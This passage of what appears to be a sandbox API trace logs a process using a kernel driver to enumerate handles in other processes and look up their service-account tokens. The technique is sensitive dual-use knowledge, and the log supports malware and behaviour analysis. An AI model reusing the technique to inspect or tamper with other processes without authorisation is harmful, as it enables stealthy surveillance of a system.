nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0137.063] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.063] PsAcquireProcessExitSynchronization () returned 0x0 [0137.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.063] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001c1b550, HandleInformation=0x0) returned 0x0 [0137.063] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.063] PsReleaseProcessExitSynchronization () returned 0x2 [0137.063] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.063] ObQueryNameString (in: Object=0xfffff8a001c1b550, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.063] ObfDereferenceObject (Object=0xfffff8a001c1b550) returned 0x2 [0137.063] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.064] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.064] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0137.064] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.064] PsAcquireProcessExitSynchronization () returned 0x0 [0137.064] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.064] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8005ffe6d0, HandleInformation=0x0) returned 0x0 [0137.064] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.064] PsReleaseProcessExitSynchronization () returned 0x2 [0137.064] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.064] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.064] ObfDereferenceObject (Object=0xfffffa8005ffe6d0) returned 0x5 [0137.064] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.064] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.064] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0137.064] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.064] PsAcquireProcessExitSynchronization () returned 0x0 [0137.064] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.064] ObReferenceObjectByHandle (in: Handle=0x380, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0018c86b0, HandleInformation=0x0) returned 0x0 [0137.064] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.064] PsReleaseProcessExitSynchronization () returned 0x2 [0137.064] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.064] ObQueryNameString (in: Object=0xfffff8a0018c86b0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.064] ObfDereferenceObject (Object=0xfffff8a0018c86b0) returned 0x2 [0137.064] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.064] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.064] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0137.064] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.064] PsAcquireProcessExitSynchronization () returned 0x0 [0137.064] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.064] ObReferenceObjectByHandle (in: Handle=0x384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00180e3b0, HandleInformation=0x0) returned 0x0 [0137.064] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.065] PsReleaseProcessExitSynchronization () returned 0x2 [0137.065] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.065] ObQueryNameString (in: Object=0xfffff8a00180e3b0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.065] ObfDereferenceObject (Object=0xfffff8a00180e3b0) returned 0x2 [0137.065] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.065] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.065] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0137.065] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.065] PsAcquireProcessExitSynchronization () returned 0x0 [0137.065] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.065] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0018d2a60, HandleInformation=0x0) returned 0x0 [0137.065] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.065] PsReleaseProcessExitSynchronization () returned 0x2 [0137.065] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.065] ObQueryNameString (in: Object=0xfffff8a0018d2a60, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.065] ObfDereferenceObject (Object=0xfffff8a0018d2a60) returned 0x2 [0137.065] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.065] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.065] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5cc) returned 0xc0 [0137.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.065] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80030b5b30, HandleInformation=0x0) returned 0x0 [0137.065] ObOpenObjectByPointer (in: Object=0xfffffa80030b5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a64) returned 0x0 [0137.065] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x24 [0137.065] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a64, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.065] ZwClose (Handle=0xffffffff80000a64) returned 0x0 [0137.065] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.065] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.065] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.067] CloseHandle (hObject=0xc8) returned 1 [0137.067] CloseHandle (hObject=0xc0) returned 1 [0137.067] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.067] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.067] PsAcquireProcessExitSynchronization () returned 0x0 [0137.067] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0) [0137.067] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002a53310, HandleInformation=0x0) returned 0x0 [0137.067] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.067] PsReleaseProcessExitSynchronization () returned 0x2 [0137.067] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0137.067] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.067] ObfDereferenceObject (Object=0xfffffa8002a53310) returned 0x1 [0137.067] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.067] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.068] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.068] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.068] PsAcquireProcessExitSynchronization () returned 0x0 [0137.068] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0) [0137.068] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800fdffaa0, HandleInformation=0x0) returned 0x0 [0137.068] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.068] PsReleaseProcessExitSynchronization () returned 0x2 [0137.068] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0137.068] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.068] ObfDereferenceObject (Object=0xfffffa800fdffaa0) returned 0x1 [0137.068] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.068] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.068] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0137.068] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.068] PsAcquireProcessExitSynchronization () returned 0x0 [0137.068] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0) [0137.068] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80029139c0, HandleInformation=0x0) returned 0x0 [0137.068] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.068] PsReleaseProcessExitSynchronization () returned 0x2 [0137.068] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0137.068] ObQueryNameString (in: Object=0xfffffa80029139c0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.068] ObfDereferenceObject (Object=0xfffffa80029139c0) returned 0x3 [0137.068] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.068] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.068] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.068] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.068] PsAcquireProcessExitSynchronization () returned 0x0 [0137.068] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054735d0) [0137.069] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002913bd0, HandleInformation=0x0) returned 0x0 [0137.069] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.069] PsReleaseProcessExitSynchronization () returned 0x2 [0137.069] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0137.069] ObQueryNameString (in: Object=0xfffffa8002913bd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.069] ObfDereferenceObject (Object=0xfffffa8002913bd0) returned 0x3 [0137.069] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.069] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.069] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x674) returned 0xc0 [0137.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.069] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8003c03630, HandleInformation=0x0) returned 0x0 [0137.069] ObOpenObjectByPointer (in: Object=0xfffffa8003c03630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a64) returned 0x0 [0137.069] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0137.069] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a64, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.069] ZwClose (Handle=0xffffffff80000a64) returned 0x0 [0137.069] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.069] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.069] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.070] CloseHandle (hObject=0xc8) returned 1 [0137.070] CloseHandle (hObject=0xc0) returned 1 [0137.070] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.070] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.071] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.071] PsAcquireProcessExitSynchronization () returned 0x0 [0137.071] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0) [0137.071] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800282e8d0, HandleInformation=0x0) returned 0x0 [0137.071] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.071] PsReleaseProcessExitSynchronization () returned 0x2 [0137.071] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0137.071] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.071] ObfDereferenceObject (Object=0xfffffa800282e8d0) returned 0x1 [0137.071] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.071] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.071] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.071] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.071] PsAcquireProcessExitSynchronization () returned 0x0 [0137.071] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0) [0137.071] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003c3ae60, HandleInformation=0x0) returned 0x0 [0137.071] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.071] PsReleaseProcessExitSynchronization () returned 0x2 [0137.071] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0137.071] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.071] ObfDereferenceObject (Object=0xfffffa8003c3ae60) returned 0x1 [0137.071] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.071] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.071] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.071] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.071] PsAcquireProcessExitSynchronization () returned 0x0 [0137.071] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0) [0137.071] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800feae350, HandleInformation=0x0) returned 0x0 [0137.071] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.072] PsReleaseProcessExitSynchronization () returned 0x2 [0137.072] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0137.072] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.072] ObfDereferenceObject (Object=0xfffffa800feae350) returned 0x1 [0137.072] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.072] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.072] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0137.072] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.072] PsAcquireProcessExitSynchronization () returned 0x0 [0137.072] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0) [0137.072] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800cabbea0, HandleInformation=0x0) returned 0x0 [0137.072] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.072] PsReleaseProcessExitSynchronization () returned 0x2 [0137.072] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0137.072] ObQueryNameString (in: Object=0xfffffa800281b200, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.072] ObfDereferenceObject (Object=0xfffffa800cabbea0) returned 0x1 [0137.072] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.072] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.072] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, 